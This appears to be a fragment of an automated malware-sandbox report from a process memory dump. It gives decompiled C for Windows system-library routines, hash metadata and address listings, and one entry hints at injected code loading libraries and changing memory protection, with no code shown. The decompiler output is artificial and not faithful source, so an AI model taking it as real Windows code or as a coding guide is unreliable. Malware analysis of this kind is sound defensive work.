0x1e3a1ba3
0x1e3f7010
0x1e3f7010
0x00000000
0x1e3a1ba9
0x1e3a1ba9
0x1e3a1bae
0x00000000
0x1e3a1bc5
0x1e3a1bca
0x1e3a1bcf
0x1e3a1bd0
0x1e3a1bd1
0x1e3a1bd2
0x1e3a1bd6
0x1e3a1bdc
0x1e3a1be0
0x1e3f6ffc
0x1e3f7000
0x00000000
0x1e3f7006
0x1e3f7009
0x1e3f7009
0x1e3a1be6
0x1e3a1bec
0x1e3a1c0b
0x1e3a1c0b
0x1e3a1c0c
0x1e3a1c11
0x1e3a1c12
0x1e3a1c15
0x1e3a1c1b
0x1e3a1c1f
0x1e3a1c31
0x1e3a1c33
0x1e3f7026
0x1e3f7026
0x1e3a1c21
0x1e3a1c24
0x1e3a1c24
0x1e3a1bee
0x1e3a1bee
0x1e3a1bf2
0x1e3a1c3a
0x1e3a1bf4
0x1e3a1bf4
0x1e3a1c05
0x1e3a1c05
0x1e3a1c09
0x1e3a1c3e
0x00000000
0x00000000
0x00000000
0x1e3a1c09
0x1e3a1bec
0x1e3a1be0
0x1e3a1bae
0x1e3a1c2e

Strings

WindowsExcludedProcs, xrefs: 1E3A1BC5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 43d9de99be3f771967876b40f550a701ebef55dc738a5b2f9deb525865f42985
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 4B2104B7900279EBCB129A56C980F4BB7EEEF80A90F024765FE04CB200D630DC01D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BF716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3BF716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x1e3bf71d
0x1e3bf722
0x1e3bf726
0x1e404770
0x1e3bf765
0x1e3bf769
0x1e3bf769
0x1e3bf732
0x1e40477a
0x00000000
0x1e40477a
0x1e3bf738
0x1e3bf73a
0x1e3bf73c
0x1e3bf73f
0x1e3bf746
0x1e3bf778
0x1e3bf7a9
0x1e3bf7a9
0x1e3bf754
0x1e3bf75a
0x1e3bf75d
0x1e3bf75f
0x1e3bf761
0x1e3bf76f
0x1e3bf771
0x1e3bf771
0x1e3bf76f
0x1e3bf763
0x00000000
0x1e3bf763
0x1e3bf77d
0x1e3bf7a3
0x1e3bf7a5
0x00000000
0x1e3bf7a5
0x1e3bf77f
0x1e3bf782
0x1e3bf784
0x1e3bf786
0x00000000
0x00000000
0x00000000
0x1e3bf788
0x1e3bf748
0x1e3bf74d
0x1e3bf78d
0x1e3bf793
0x1e3bf7b7
0x1e3bf7bc
0x00000000
0x1e3bf7bc
0x1e3bf798
0x00000000
0x00000000
0x1e3bf79d
0x1e3bf7b0
0x00000000
0x1e3bf7b0
0x1e3bf79f
0x00000000
0x1e3bf74f
0x1e3bf74f
0x00000000
0x1e3bf74f

Strings

Actx , xrefs: 1E3BF73F

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 542fdeb10ff0e30e8e53c2a01abe9740e3544de28f3650b2a4fc9a9c329b6e02
Instruction ID: a793cfa5f3a2da676047906fac3a65366fa19bf04cacf80fd0a2ebcc2d67f89e
Opcode Fuzzy Hash: 542fdeb10ff0e30e8e53c2a01abe9740e3544de28f3650b2a4fc9a9c329b6e02
Instruction Fuzzy Hash: 1E1193357046429BE7144E1A8CA2766729BEB856E4F2167BAE863CBB91D673C8C08340

Uniqueness

Uniqueness Score: -1.00%

Function 1E448DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1E448DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x1e470d50);
				E1E3ED0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E1E425720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = E1E3EDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				E1E3EDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E1E3ED130(_t34, _t39, _t40);
			}

0x1e448df1
0x1e448df1
0x1e448df1
0x1e448df1
0x1e448df1
0x1e448df1
0x1e448df3
0x1e448df8
0x1e448dfd
0x1e448e00
0x1e448e0e
0x1e448e2a
0x1e448e36
0x1e448e38
0x1e448e3c
0x1e448e46
0x1e448e46
0x1e448e36
0x1e448e50
0x1e448e56
0x1e448e59
0x1e448e5c
0x1e448e60
0x1e448e67
0x1e448e6d
0x1e448e73
0x1e448e74
0x1e448eb1
0x1e448ebd

Strings

Critical error detected %lx, xrefs: 1E448E21

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 281dabdbd02916753b3d8bde305783d2cc9ee162abb97dd6d7be04beb85e3575
Instruction ID: ecdec54820965a36b365f8cdce0df7619eb6a8ed2d726ffb865114d237f9a1c7
Opcode Fuzzy Hash: 281dabdbd02916753b3d8bde305783d2cc9ee162abb97dd6d7be04beb85e3575
Instruction Fuzzy Hash: 7B112379D15388EAEB14CFA989097DDFBB1AB48310F70476EE529AB382C3345602CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0056661B, Relevance: .7, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 1b31001f7bdc192a7f37c06c78297371b0fdf722913156ad74cba0cd6284b6a7
Instruction ID: ea9bfb2169c7ae2a20a24acd32c043ba2f9d9baf5769b9fa726c0146009c8ac4
Opcode Fuzzy Hash: 1b31001f7bdc192a7f37c06c78297371b0fdf722913156ad74cba0cd6284b6a7
Instruction Fuzzy Hash: 5A226970604306DFEF208E64CD997E57FA2FF56360F64866AED868B2D2C3758885C712

Uniqueness

Uniqueness Score: -1.00%

Function 1E465BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E1E465BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x1e471178);
				E1E3ED0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E1E464C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E1E3DD000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E1E465542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x1e4860e8;
								if( *0x1e4860e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x1e4860e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E1E3D9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E1E3D6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E1E3DF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E1E3DF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E1E3DF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E1E3DFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E1E3DFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E1E3DF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E1E3DF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E1E464CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E1E3ED130(_t427, _t494, _t511);
				}
			}

0x1e465ba5
0x1e465baa
0x1e465baf
0x1e465bb4
0x1e465bb6
0x1e465bbc
0x1e465bbe
0x1e465bc4
0x1e465bcd
0x1e465bd3
0x1e465bd6
0x1e465bdc
0x1e465be0
0x1e465be3
0x1e465beb
0x1e465bf2
0x1e465bf8
0x1e465bfe
0x1e465c04
0x1e465c0e
0x1e465c18
0x1e465c1f
0x1e465c25
